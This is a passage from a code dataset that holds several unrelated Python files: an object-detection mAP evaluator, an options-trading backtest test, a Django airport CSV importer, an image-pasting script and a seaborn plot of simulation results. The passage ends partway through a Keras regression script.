float(splitLine[5])\n\t\t\t\tbb = BoundingBox(\n\t\t\t\t\tnameOfImage,\n\t\t\t\t\tidClass,\n\t\t\t\t\tx,\n\t\t\t\t\ty,\n\t\t\t\t\tw,\n\t\t\t\t\th,\n\t\t\t\t\tcoordType,\n\t\t\t\t\timgSize,\n\t\t\t\t\tBBType.Detected,\n\t\t\t\t\tconfidence,\n\t\t\t\t\tformat=bbFormat)\n\t\t\tallBoundingBoxes.addBoundingBox(bb)\n\t\t\tif idClass not in allClasses:\n\t\t\t\tallClasses.append(idClass)\n\t\tfh1.close()\n\treturn allBoundingBoxes, allClasses\n\n\n# Get current path to set default folders\ncurrentPath = os.path.dirname(os.path.abspath(__file__))\n\nVERSION = '0.1 (beta)'\n\nparser = argparse.ArgumentParser(\n\tprog='Object Detection Metrics - Pascal VOC',\n\tdescription='This project applies the most popular metrics used to evaluate object detection '\n\t'algorithms.\\nThe current implemention runs the Pascal VOC metrics.\\nFor further references, '\n\t'please check:\\nhttps://github.com/rafaelpadilla/Object-Detection-Metrics',\n\tepilog=\"Developed by: Rafael Padilla (rafael.padilla@smt.ufrj.br)\")\n# formatter_class=RawTextHelpFormatter)\nparser.add_argument('-v', '--version', action='version', version='%(prog)s ' + VERSION)\n# Positional arguments\n# Mandatory\nparser.add_argument(\n\t'-gt',\n\t'--gtfolder',\n\tdest='gtFolder',\n\tdefault=os.path.join(currentPath, 'groundtruths'),\n\tmetavar='',\n\thelp='folder containing your ground truth bounding boxes')\nparser.add_argument(\n\t'-det',\n\t'--detfolder',\n\tdest='detFolder',\n\tdefault=os.path.join(currentPath, 'detections'),\n\tmetavar='',\n\thelp='folder containing your detected bounding boxes')\nparser.add_argument(\n\t'-sp', \n\t'--savePath', \n\tdest='savePath', \n\tdefault=os.path.join(currentPath, 'results'),\n\tmetavar='', \n\thelp='folder where the plots are saved')\n\n# Optional\nparser.add_argument(\n\t'-t',\n\t'--threshold',\n\tdest='iouThreshold',\n\ttype=float,\n\tdefault=0.5,\n\tmetavar='',\n\thelp='IOU threshold. Default 0.5')\nparser.add_argument(\n\t'-gtformat',\n\tdest='gtFormat',\n\tmetavar='',\n\tdefault='xywh',\n\thelp='format of the coordinates of the ground truth bounding boxes: '\n\t'(\\'xywh\\': <left> <top> <width> <height>)'\n\t' or (\\'xyrb\\': <left> <top> <right> <bottom>)')\nparser.add_argument(\n\t'-detformat',\n\tdest='detFormat',\n\tmetavar='',\n\tdefault='xywh',\n\thelp='format of the coordinates of the detected bounding boxes '\n\t'(\\'xywh\\': <left> <top> <width> <height>) '\n\t'or (\\'xyrb\\': <left> <top> <right> <bottom>)')\nparser.add_argument(\n\t'-gtcoords',\n\tdest='gtCoordinates',\n\tdefault='abs',\n\tmetavar='',\n\thelp='reference of the ground truth bounding box coordinates: absolute '\n\t'values (\\'abs\\') or relative to its image size (\\'rel\\')')\nparser.add_argument(\n\t'-detcoords',\n\tdefault='abs',\n\tdest='detCoordinates',\n\tmetavar='',\n\thelp='reference of the ground truth bounding box coordinates: '\n\t'absolute values (\\'abs\\') or relative to its image size (\\'rel\\')')\nparser.add_argument(\n\t'-imgsize',\n\tdest='imgSize',\n\tmetavar='',\n\thelp='image size. Required if -gtcoords or -detcoords are \\'rel\\'')\n\nparser.add_argument(\n\t'-np',\n\t'--noplot',\n\tdest='showPlot',\n\taction='store_false',\n\thelp='no plot is shown during execution')\n\nargs = parser.parse_args()\n\n\niouThreshold = args.iouThreshold\n\n# Arguments validation\nerrors = []\n# Validate formats\ngtFormat = ValidateFormats(args.gtFormat, '-gtformat', errors)\ndetFormat = ValidateFormats(args.detFormat, '-detformat', errors)\n# Groundtruth folder\nif ValidateMandatoryArgs(args.gtFolder, '-gt/--gtfolder', errors):\n\tgtFolder = ValidatePaths(args.gtFolder, '-gt/--gtfolder', errors)\nelse:\n\t# errors.pop()\n\tgtFolder = os.path.join(currentPath, 'groundtruths')\n\tif os.path.isdir(gtFolder) is False:\n\t\terrors.append('folder %s not found' % gtFolder)\n# Coordinates types\ngtCoordType = ValidateCoordinatesTypes(args.gtCoordinates, '-gtCoordinates', errors)\ndetCoordType = ValidateCoordinatesTypes(args.detCoordinates, '-detCoordinates', errors)\nimgSize = (0, 0)\nif gtCoordType == CoordinatesType.Relative: # Image size is required\n\timgSize = ValidateImageSize(args.imgSize, '-imgsize', '-gtCoordinates', errors)\nif detCoordType == CoordinatesType.Relative: # Image size is required\n\timgSize = ValidateImageSize(args.imgSize, '-imgsize', '-detCoordinates', errors)\n\n\ndetFolder = ValidatePaths(args.detFolder, '-det/--detfolder', errors)\nsavePath = ValidatePaths(args.savePath, '--savePath', errors)\n\n\n# Create directory to save results\nos.makedirs(savePath,exist_ok=True)\n# Show plot during execution\nshowPlot = args.showPlot\n\nprint('gtFolder = %s' % gtFolder)\n\nstartTime = datetime.now()\n# Get groundtruth boxes\nallBoundingBoxes, allClasses = getBoundingBoxes(\n\tgtFolder, True, gtFormat, gtCoordType, imgSize=imgSize)\n# Get detected boxes\nallBoundingBoxes, allClasses = getBoundingBoxes(\n\tdetFolder, False, detFormat, detCoordType, allBoundingBoxes, allClasses, imgSize=imgSize)\nallClasses.sort()\n\nevaluator = Evaluator()\nacc_AP = 0\nvalidClasses = 0\n\n# Plot Precision x Recall curve\ndetections = evaluator.PlotPrecisionRecallCurve(\n\tallBoundingBoxes, # Object containing all bounding boxes (ground truths and detections)\n\tIOUThreshold=iouThreshold, # IOU threshold\n\tmethod=MethodAveragePrecision.EveryPointInterpolation,\n\tshowAP=True, # Show Average Precision in the title of the plot\n\tshowInterpolatedPrecision=False, # Don't plot the interpolated precision curve\n\tsavePath=savePath,\n\tshowGraphic=showPlot)\n\nf = open(os.path.join(savePath, 'results_IoU_{}.txt'.format(iouThreshold)), 'w')\nf.write('Object Detection Metrics\\n')\nf.write('https://github.com/rafaelpadilla/Object-Detection-Metrics\\n\\n\\n')\nf.write('Average Precision (AP), Precision and Recall per class:')\n\n# each detection is a class\nfor metricsPerClass in detections:\n\n\t# Get metric values per each class\n\tcl = metricsPerClass['class']\n\tap = metricsPerClass['AP']\n\tprecision = metricsPerClass['precision']\n\trecall = metricsPerClass['recall']\n\ttotalPositives = metricsPerClass['total positives']\n\ttotal_TP = metricsPerClass['total TP']\n\ttotal_FP = metricsPerClass['total FP']\n\tarea_sq = metricsPerClass['area_sq']\n\tlongest_side = metricsPerClass['longest_side']\n\tgt_counts = metricsPerClass['Count_gt_detections']\n\tdictionary = metricsPerClass['GT_dict']\n\tf.write(\"Class: {}, Total Positives: {}\\n\".format(cl,totalPositives))\n\t\n\n\tif totalPositives > 0:\n\t\tvalidClasses = validClasses + 1\n\t\tacc_AP = acc_AP + ap\n\t\tprec = ['%.2f' % p for p in precision]\n\t\trec = ['%.2f' % r for r in recall]\n\t\tap_str = \"{0:.2f}%\".format(ap * 100)\n\t\t# ap_str = \"{0:.4f}%\".format(ap * 100)\n\t\tprint('AP: %s (%s)' % (ap_str, cl))\n\t\tf.write('\\n\\nClass: %s' % cl)\n\t\tf.write('\\nAP: %s' % ap_str)\n\t\tf.write('\\nPrecision: %s' % prec)\n\t\tf.write('\\nRecall: %s' % rec)\n\t\ta_sq = ['%.2f' % a for a in area_sq]\n\t\tf.write('\\nArea_sq: %s' % a_sq)\n\t\tl_side = ['%.1f' % l for l in longest_side]\n\t\tf.write('\\n\\nLongest_side: %s' % l_side)\n\t\tf.write('\\nNumber of ground-truth boxes: {} should be equal to len(gt_counts)= {}\\n'.format(totalPositives,len(gt_counts)))\n\t\tnum_gt_not_found=sum(int(num) < 1 for num in gt_counts)+(totalPositives-len(gt_counts))\n\t\tf.write('Amount of gt boxes not found = {}\\n'.format(num_gt_not_found))\n\t\tnum_gt_found=sum(int(num) > 0 for num in gt_counts)\n\t\tf.write('Amount of gt boxes found = {}\\n'.format(num_gt_found))\n\t\tdouble_boxes=sum(gt_counts)-num_gt_found\n\t\tf.write('Amount of double boxes = {}\\n'.format(double_boxes))\n\t\tf.write('Amount of detections that did not have (enough) overlap with any gt box = {}\\n'.format(total_FP-double_boxes))\n\t\tf.write('\\nGT_counts: %s' % gt_counts)\n\t\tgt_detect=pd.DataFrame.from_dict(dictionary,orient='index').transpose()\n\t\tgt_detect.to_csv(os.path.join(savePath, 'detected_gt_analysis_{}_{}.csv'.format(iouThreshold,cl)),index=True,index_label='Index')\n\t\t\n\t\t\n\nmAP = acc_AP / validClasses\nmAP_str = \"{0:.2f}%\".format(mAP * 100)\nprint('mAP: %s' % mAP_str)\nf.write('\\n\\n\\nmAP: %s' % mAP_str)\nf.close()\nprint(type(prec))\nprint(type(area_sq.tolist()))\nprint(\"gtFolder: {}\\n\".format(gtFolder))\nprint(\"detFolder: {}\\n\".format(detFolder))\nprint(\"savePath: {}\\n\".format(savePath))\nprint(datetime.now() - startTime)", "sub_path": "Object-Detection-Metrics-master/opencv_15_pascalvoc.py", "file_name": "opencv_15_pascalvoc.py", "file_ext": "py", "file_size_in_byte": 12520, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "utils.BBFormat.XYWH", "line_number": 31, "usage_type": "attribute"}, {"api_name": "utils.BBFormat", "line_number": 31, "usage_type": "name"}, {"api_name": "utils.BBFormat.XYX2Y2", "line_number": 33, "usage_type": "attribute"}, {"api_name": "utils.BBFormat", "line_number": 33, "usage_type": "name"}, {"api_name": "utils.BBFormat.XYWH", "line_number": 35, "usage_type": "attribute"}, {"api_name": "utils.BBFormat", "line_number": 35, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "BoundingBoxes.BoundingBoxes", "line_number": 102, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 106, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 107, "usage_type": "call"}, {"api_name": "BoundingBox.BoundingBox", "line_number": 131, "usage_type": "call"}, {"api_name": "BoundingBox.BoundingBox", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 170, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path", "line_number": 188, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path", "line_number": 195, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path", "line_number": 202, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 273, "usage_type": "call"}, {"api_name": "os.path", "line_number": 273, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path", "line_number": 274, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 291, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 297, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 297, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path", "line_number": 320, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 368, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 368, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 369, "usage_type": "call"}, {"api_name": "os.path", "line_number": 369, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 383, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 383, "usage_type": "name"}]} {"seq_id": "151170325", "text": "import datetime\nfrom back_test.model.base_account import BaseAccount\nfrom back_test.model.base_future_coutinuous import BaseFutureCoutinuous\nfrom back_test.model.base_instrument import BaseInstrument\nfrom back_test.model.base_option_set import BaseOptionSet\nfrom back_test.model.constant import Util, FrequentType, LongShort\nimport data_access.get_data as data\n\nstart_date = datetime.date(2017, 6, 1)\nend_date = datetime.date(2017, 7, 1)\ndf_option_metrics = data.get_50option_mktdata(start_date, end_date)\ndf_index_metrics = data.get_index_mktdata(start_date, end_date, 'index_50etf')\ndf_cf = data.get_mktdata_future_c1_daily(start_date, end_date, 'ih')\n\noptionset = BaseOptionSet(df_option_metrics)\noptionset.init()\naccount = BaseAccount(Util.MILLION,rf=0)\n\ndef _next():\n optionset.next()\n\ndef value_equal(df,portfolio_value,cash,portfolio_margin_capital):\n if abs(df['portfolio_value'] - portfolio_value)>0.001:\n return False\n elif abs(df['portfolio_margin_capital'] - portfolio_margin_capital)>0.001:\n return False\n elif abs(df['cash'] - cash) > 0.001:\n return False\n else:\n return True\n\n\nprint('Option Trading Account Test')\nmaturity = optionset.select_maturity_date(nbr_maturity=0, min_holding=20)\nlist_atm_call, list_atm_put = optionset.get_options_list_by_moneyness_mthd1(\n moneyness_rank=0,\n maturity=maturity)\natm_call = optionset.select_higher_volume(list_atm_call)\natm_put = optionset.select_higher_volume(list_atm_put)\n\nprint('期权卖方开仓')\norder = account.create_trade_order(atm_call, LongShort.SHORT, 10)\nrecord = atm_call.execute_order(order)\naccount.add_record(record, atm_call)\naccount.daily_accounting(optionset.eval_date)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],999950,971070,31440))\nprint('-'*50)\n\n_next()\n\n\nprint('加仓')\norder = account.create_trade_order(atm_call, LongShort.SHORT, 2)\nrecord = atm_call.execute_order(order)\naccount.add_record(record, atm_call)\naccount.daily_accounting(optionset.eval_date)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],1000660.0,968692.0,34176.00000000002))\nprint('-'*50)\n_next()\n\nprint('减仓')\norder = account.create_trade_order(atm_call, LongShort.LONG, 2)\nrecord = atm_call.execute_order(order)\naccount.add_record(record, atm_call)\naccount.daily_accounting(optionset.eval_date)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],1001766.0,978262.0,24414.00000000002))\nprint('-'*50)\n_next()\n\nprint('平仓')\norder = account.create_trade_order(atm_call, LongShort.LONG, 10)\nrecord = atm_call.execute_order(order)\naccount.add_record(record, atm_call)\naccount.daily_accounting(optionset.eval_date)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],1001376.0,1001376.0,0.0))\nprint('-'*50)\n_next()\n\naccount.daily_accounting(optionset.eval_date)\nprint('-'*50)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],1001376.0,1001376.0,0.0))\nprint('-'*50)\n_next()\n\n\nprint('期权买方开仓')\norder = account.create_trade_order(atm_put, LongShort.LONG, 10)\nrecord = atm_put.execute_order(order)\naccount.add_record(record, atm_put)\naccount.daily_accounting(optionset.eval_date)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],1001326.0,998286.0,0.0))\nprint('-'*50)\n_next()\nprint('加仓')\norder = account.create_trade_order(atm_put, LongShort.LONG, 2)\nrecord = atm_put.execute_order(order)\naccount.add_record(record, atm_put)\naccount.daily_accounting(optionset.eval_date)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],1000916.0,997748.0,0.0))\nprint('-'*50)\n_next()\nprint('减仓')\n\norder = account.create_trade_order(atm_put, LongShort.SHORT, 8)\nrecord = atm_put.execute_order(order)\naccount.add_record(record, atm_put)\naccount.daily_accounting(optionset.eval_date)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],1001104.0,999972.0,0.0))\nprint('-'*50)\n_next()\nprint('平仓')\norder = account.create_trade_order(atm_put, LongShort.SHORT, 4)\nrecord = atm_put.execute_order(order)\naccount.add_record(record, atm_put)\naccount.daily_accounting(optionset.eval_date)\nprint('Test Equal: ',value_equal(account.account.loc[optionset.eval_date],1000976.0,1000976.0,0.0))\nprint('-'*50)\n\n\n", "sub_path": "back_test/tests/option_account_test.py", "file_name": "option_account_test.py", "file_ext": "py", "file_size_in_byte": 4296, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.date", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 10, "usage_type": "call"}, {"api_name": "data_access.get_data.get_50option_mktdata", "line_number": 11, "usage_type": "call"}, {"api_name": "data_access.get_data", "line_number": 11, "usage_type": "name"}, {"api_name": "data_access.get_data.get_index_mktdata", "line_number": 12, "usage_type": "call"}, {"api_name": "data_access.get_data", "line_number": 12, "usage_type": "name"}, {"api_name": "data_access.get_data.get_mktdata_future_c1_daily", "line_number": 13, "usage_type": "call"}, {"api_name": "data_access.get_data", "line_number": 13, "usage_type": "name"}, {"api_name": "back_test.model.base_option_set.BaseOptionSet", "line_number": 15, "usage_type": "call"}, {"api_name": "back_test.model.base_account.BaseAccount", "line_number": 17, "usage_type": "call"}, {"api_name": "back_test.model.constant.Util.MILLION", "line_number": 17, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.Util", "line_number": 17, "usage_type": "name"}, {"api_name": "back_test.model.constant.LongShort.SHORT", "line_number": 42, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.LongShort", "line_number": 42, "usage_type": "name"}, {"api_name": "back_test.model.constant.LongShort.SHORT", "line_number": 53, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.LongShort", "line_number": 53, "usage_type": "name"}, {"api_name": "back_test.model.constant.LongShort.LONG", "line_number": 62, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.LongShort", "line_number": 62, "usage_type": "name"}, {"api_name": "back_test.model.constant.LongShort.LONG", "line_number": 71, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.LongShort", "line_number": 71, "usage_type": "name"}, {"api_name": "back_test.model.constant.LongShort.LONG", "line_number": 87, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.LongShort", "line_number": 87, "usage_type": "name"}, {"api_name": "back_test.model.constant.LongShort.LONG", "line_number": 95, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.LongShort", "line_number": 95, "usage_type": "name"}, {"api_name": "back_test.model.constant.LongShort.SHORT", "line_number": 104, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.LongShort", "line_number": 104, "usage_type": "name"}, {"api_name": "back_test.model.constant.LongShort.SHORT", "line_number": 112, "usage_type": "attribute"}, {"api_name": "back_test.model.constant.LongShort", "line_number": 112, "usage_type": "name"}]} {"seq_id": "208391872", "text": "# -*- coding: UTF-8 -*-\n# Use: manage.py update_airports --csv_location={{ FILE LOCATION }}\nfrom django.core.management.base import BaseCommand, CommandError\nfrom flee.flights.models import Cities, Countries, Airports\nfrom flee.flights.serializers import CountriesSerializer\nimport csv\nfrom django.db import connection\n\n\nclass Command(BaseCommand):\n help = 'Update companies from a CSV file.'\n\n def add_arguments(self, parser):\n parser.add_argument('--csv_location',)\n\n def handle(self, *args, **options):\n self.stdout.write('Starting loading file: \"%s\"' % options['csv_location'])\n try:\n dataReader = csv.DictReader(open(options['csv_location']), delimiter='^', quotechar='\"')\n except Exception as e:\n raise CommandError('Error while open SCV File' % e.message)\n\n input_companies = []\n #index = 0\n for row in dataReader:\n #if index < 10:\n if row[\"iata_code\"] is not None and row[\"iata_code\"] is not \"\" and row[\"city_code_list\"] is not None and row[\"city_code_list\"] is not \"\":\n\n city = None\n try:\n city = Cities.objects.get(iata_code=row['city_code_list'])\n except Exception as e:\n pass\n\n if city is not None:\n input_companies.append({\n \"iata_code\": row[\"iata_code\"],\n \"city_code_list\": city,\n \"airport_name\": row[\"name\"]\n })\n # index += 1\n #else:\n # break\n self.stdout.write('Found \"%s\" items in the input file.' % len(input_companies))\n\n companies = Airports.objects.all()\n\n company_mapping = {company.iata_code: company for company in companies}\n data_mapping = {item['iata_code']: item for item in input_companies}\n\n # Perform creations.\n with connection.cursor() as cursor:\n index = 0\n for company_tax_id, data in data_mapping.items():\n company = company_mapping.get(company_tax_id, None)\n if company is None:\n Airports(name=data['airport_name'].title(), iata_code=data['iata_code'], city=data['city_code_list']).save()\n index += 1\n self.stdout.write('Added \"%s\" items.' % index)\n\n # Perform deletions.\n index = 0\n for company_tax_id, company in company_mapping.items():\n if company_tax_id not in data_mapping:\n company.delete()\n index += 1\n self.stdout.write('Removed \"%s\" items.' % index)\n\n #serializer = CompaniesSerializer(data=ret, many=True, partial=True)\n #if serializer.is_valid():\n # serializer.save()\n\n\n self.stdout.write('Successfully loaded file: \"%s\"' % options['csv_location'])\n", "sub_path": "flee/flights/management/commands/update_airports.py", "file_name": "update_airports.py", "file_ext": "py", "file_size_in_byte": 2887, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 10, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 19, "usage_type": "call"}, {"api_name": "django.core.management.base.CommandError", "line_number": 21, "usage_type": "call"}, {"api_name": "flee.flights.models.Cities.objects.get", "line_number": 31, "usage_type": "call"}, {"api_name": "flee.flights.models.Cities.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flee.flights.models.Cities", "line_number": 31, "usage_type": "name"}, {"api_name": "flee.flights.models.Airports.objects.all", "line_number": 46, "usage_type": "call"}, {"api_name": "flee.flights.models.Airports.objects", "line_number": 46, "usage_type": "attribute"}, {"api_name": "flee.flights.models.Airports", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.connection.cursor", "line_number": 52, "usage_type": "call"}, {"api_name": "django.db.connection", "line_number": 52, "usage_type": "name"}, {"api_name": "flee.flights.models.Airports", "line_number": 57, "usage_type": "call"}]} {"seq_id": "147046980", "text": "from PIL import Image\nimport json\n\ndef Picture_Synthesis(mother_img,\n son_img,\n save_img,\n coordinate=None):\n \"\"\"\n :param mother_img: 母图\n :param son_img: 子图\n :param save_img: 保存图片名\n :param coordinate: 子图在母图的坐标\n :return:\n \"\"\"\n #将图片赋值,方便后面的代码调用\n M_Img = Image.open(mother_img)\n S_Img = Image.open(son_img)\n\n #给图片指定色彩显示格式\n M_Img = M_Img.convert(\"RGBA\") # CMYK/RGBA 转换颜色格式（CMYK用于打印机的色彩，RGBA用于显示器的色彩）\n\n # 获取图片的尺寸\n M_Img_w, M_Img_h = M_Img.size # 获取被放图片的大小（母图）\n print(\"母图尺寸：\",M_Img.size)\n S_Img_w, S_Img_h = S_Img.size # 获取小图的大小（子图）\n print(\"子图尺寸：\",S_Img.size)\n\n expect_w = coordinate[2]-coordinate[0]\n\n expect_h = coordinate[3]-coordinate[1]\n\n if M_Img_w < coordinate[2] or M_Img_h < coordinate[3]:\n print('坐标错误')\n\n if S_Img_w > expect_w or S_Img_h > expect_h:\n\n\n icon = S_Img.resize((expect_w, expect_h), Image.ANTIALIAS)\n\n\n\n\n M_Img.paste(icon, coordinate, mask=None)\n\n # 保存图片\n M_Img.save(save_img)\n\n\nwith open('/Users/lzy/PycharmProjects/company_interview/boxes.json','r',encoding='utf8') as f:\n json_data = json.load(f)\n dic = json_data\n boxes = dic['boxes']\n for box in boxes:\n if box['name'] == 'box_b':\n left_top = box['rectangle']['left_top']\n right_bottom = box['rectangle']['right_bottom']\n break\n else:\n continue\n\ncoordinate = tuple(left_top) + tuple(right_bottom)\nprint(coordinate)\n\nPicture_Synthesis(mother_img='/Users/lzy/Desktop/kobe1.png',\n son_img=\"/Users/lzy/Desktop/kobe2.png\",\n save_img=\"/Users/lzy/Desktop/kobe4.png\",\n coordinate=coordinate\n )\n", "sub_path": "pythonProject2/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1979, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "PIL.Image.open", "line_number": 16, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 16, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 17, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 17, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 38, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 38, "usage_type": "name"}, {"api_name": "json.load", "line_number": 50, "usage_type": "call"}]} {"seq_id": "254708188", "text": "# import seaborn as sns\n# sns.set(style=\"ticks\")\n# exercise = sns.load_dataset(\"exercise\")\n# g = sns.catplot(x=\"time\", y=\"pulse\", hue=\"kind\", data=exercise)\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport pandas as pd\nimport pathlib\n\n\nimg_folder = \"imgs/long_time_all/b1_effect/eps_1.00e-03_beta_2.00e+00_T_3.00e+05_c_1.00_b2_1.20/\"\nimg_filename = \"all_cc.png\"\n\n# create img directory\npathlib.Path(img_folder).mkdir(parents=True, exist_ok=True) \n\n\nsns.set(style=\"darkgrid\", palette=\"pastel\")\n\n# Load the dataset\n\nfolder = \"data/b1_effect/long_time_all/eps_1.00e-03_beta_2.00e+00_T_3.00e+05_c_1.00_b2_1.20/\"\n\ndata1 = pd.read_csv(folder + \"S_04_df.csv\")\ndata2 = pd.read_csv(folder + \"S_08_df.csv\")\ndata3 = pd.read_csv(folder + \"S_12_df.csv\")\ndata4 = pd.read_csv(folder + \"S_16_df.csv\")\n\nall_game_data = [data1, data2, data3, data4]\n\ndata = pd.concat(all_game_data)\n#folder_name = \"data/b1_effect/long_time_one_game/s_4/eps_1.00e-03_beta_2.00e+00_T_3.00e+05_c_1.00_b2_1.20/date_2019_02_05_20:39:52/\"\n#filename = \"S_04_df.csv\"\n# folder_name = \"data/b1_effect/s_2_high_b1/\"\n# params = \"eps_1.00e-03_beta_2.00e+00_T_3.00e+05_c_1.00_b2_1.20\"\n# date = \"/date_2019_02_05_07:55:47/\"\n\n\n#filename = folder_name + params + date\n\n#data = pd.read_csv(filename + \"all_one_game_df.csv\")\n\n#data = pd.read_csv(folder_name + filename)\n\nfig, ((ax1, ax2)) = plt.subplots(nrows=1, ncols=2, figsize = (12,6))\n\n# seaborn graph\ng = sns.lineplot(x=\"b1\", y=\"1CC rate\", ax=ax1, hue=\"strat\", data=data)\n\n#handles, labels = ax1.get_legend_handles_labels()\n\ng.set_title('Effect of b1 on Cooperation Rate')\ng.set_xlabel(\"b1_value\")\ng.set_ylabel(\"CC rate\")\n\n# parameters\nnum_runs = 5\nnum_timesteps = 3*(10**5)\n\nparams_dict = {\n\t\"N\": 100,\n\t\"eps\": 0.001,\n\t\"beta\": 2.0,\n\t\"strategy_type\": \"pure\", # or \"stochastic\"\n\t\"max_attempts\": 10**4,\n}\n\n\nc = 1.0\nb2 = 1.2\n\nc1 = c\nc2 = c\n\n\neps, beta = params_dict[\"eps\"], params_dict[\"beta\"]\n\neps = r\"$\\epsilon$\" + \" = {:2.2e}\\n \".format(eps)\nbeta = r\"$\\beta$\" + \" = {:2.2e}\\n \".format(beta)\nts = r\"$T$\" + \" = {:2.2e}\".format(num_timesteps)\n\ngame_param = \"b2 = {:.2f}\\nc1 = c2 = {:.2f}\".format(b2, c1)\nsep = \"\\n\\n\"\nparam_str = \"Evolution Parameters:\\n \" + eps + beta + ts + sep + \\\n\t\t\t\"Game Parameters:\\n\" + game_param + sep + \\\n\t\t\t\"{:d} Runs\".format(num_runs)\n\n\n#plt.subplots_adjust(bottom=0.20, top=0.92)\n\nax2.text(0.5, 0.5, param_str, horizontalalignment='center',\n fontsize=12, multialignment='left',\n bbox=dict(boxstyle=\"round\", facecolor='#D8D8D8',\n ec=\"0.5\", pad=0.5, alpha=1), fontweight='bold')\n\nax2.axis('off')\n#plt.tight_layout()\nplt.savefig(img_folder + img_filename, dpi=300)\n\nplt.show()\n\n# Game: S_02, Run: 0\n# Elapsed Time: 14.08 min\n# Game: S_02, Run: 1\n# Elapsed Time: 21.87 min\n# Game: S_02, Run: 2\n# Elapsed Time: 25.33 min\n# Game: S_02, Run: 3\n# Elapsed Time: 20.50 min\n# Game: S_02, Run: 4\n# Elapsed Time: 19.79 min", "sub_path": "new_code/s2_plot.py", "file_name": "s2_plot.py", "file_ext": "py", "file_size_in_byte": 2900, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pathlib.Path", "line_number": 17, "usage_type": "call"}, {"api_name": "seaborn.set", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "seaborn.lineplot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}]} {"seq_id": "509634001", "text": "# Linear Regression using Abalone dataset to predict Rings Value using Keras\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout,LeakyReLU\nfrom sklearn.model_selection import train_test_split\nfrom keras import metrics\nfrom keras.optimizers import Adam, RMSprop\nfrom 